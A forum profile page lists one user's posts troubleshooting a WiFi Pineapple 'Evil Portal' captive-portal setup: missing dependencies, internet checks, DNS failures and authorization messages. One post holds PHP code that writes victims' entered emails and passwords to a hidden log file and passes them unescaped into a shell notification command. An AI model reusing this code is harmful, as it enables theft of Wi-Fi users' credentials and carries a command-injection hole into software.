Jump to content


Active Members
  • Posts

  • Joined

  • Last visited

Everything posted by astinomia

  1. Its an old portal that I imported, idk if that would be the problem but the code looks fine to me.
  2. Yeah, I'm talking about a custom portal. public function handleAuthorization() { if (isset($_POST['email'])) { $email = isset($_POST['email']) ? $_POST['email'] : 'email'; $pwd = isset($_POST['password']) ? $_POST['password'] : 'password'; $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; $reflector = new \ReflectionClass(get_class($this)); $logPath = dirname($reflector->getFileName()); file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); $this->execBackground("notify $email' - '$pwd"); } // handle form input or other extra things there // Call parent to handle basic authorization first parent::handleAuthorization(); } Does anything in this handleAuthorization() look like it would cause that error message?
  3. I believe I had also got that storage error on the diagnostics page but I ignored it and everything seems to work fine. My guess is it was a false positive.
  4. @newbi3 Do you know what can be causing me to get a "You have no been authorized" message when I enter the credentials in the portal? The credentials do appear in the log, and I can use the internet (device added to Allowed Client) but I get no notification on the webpage.
  5. Can you give some explanation as to what exactly it means to be a Permanent Client and a Allowed Client?
  6. Thanks for your help, much appreciated.

  7. Yes, I can open http://example.com in my browser, it seems to not work only on the pineapple. I changed it in the helper method, and it worked!
  8. root@mk7:/pineapple# ping example.com ping: bad address 'example.com' Running the first & second version : root@mk7:/pineapple# python3 ./internet_check.py False Running the third version (url='http://www.google.com', timout=5)): root@mk7:/pineapple# python3 ./internet_check.py True Weird...
  9. Works fine. root@mk7:/pineapple# ping google.com PING google.com ( 56 data bytes 64 bytes from seq=0 ttl=114 time=33.915 ms 64 bytes from seq=1 ttl=114 time=41.330 ms 64 bytes from seq=2 ttl=114 time=28.066 ms 64 bytes from seq=3 ttl=114 time=29.491 ms 64 bytes from seq=4 ttl=114 time=29.997 ms 64 bytes from seq=5 ttl=114 time=27.758 ms 64 bytes from seq=6 ttl=114 time=30.324 ms 64 bytes from seq=7 ttl=114 time=28.259 ms 64 bytes from seq=8 ttl=114 time=29.914 ms 64 bytes from seq=9 ttl=114 time=28.570 ms ^C --- google.com ping statistics --- 10 packets transmitted, 10 packets received, 0% packet loss round-trip min/avg/max = 27.758/30.762/41.330 ms
  10. The `opkg update` command seem to work fine. When I run `/etc/init.d/ntpd stop && /etc/init.d/ntpd start`, it says "bash: /etc/init.d/ntpd: No such file or directory". Sometimes before the Dependencies window has time to load I see this error: "dial unix /tmp/modules/evilportal.sock: connect: resource temporarily unavailable". I'm guessing that is because I'm missing the dependencies or because it hasn't fully loaded?. Also, its probably meaningless but I'm only seeing two rows instead of three of the "Could not connect to internet." error now. Restating doesn't seem to help.
  11. Once I've installed the Evil Portal Module, I select the module and I am prompted to install missing dependencies but even though I am connected to a WiFi network, I get the following error message: "Could not connect to internet." Is anyone else getting this issue?
  12. Not working on any browser on iPhone for me too.
  • Create New...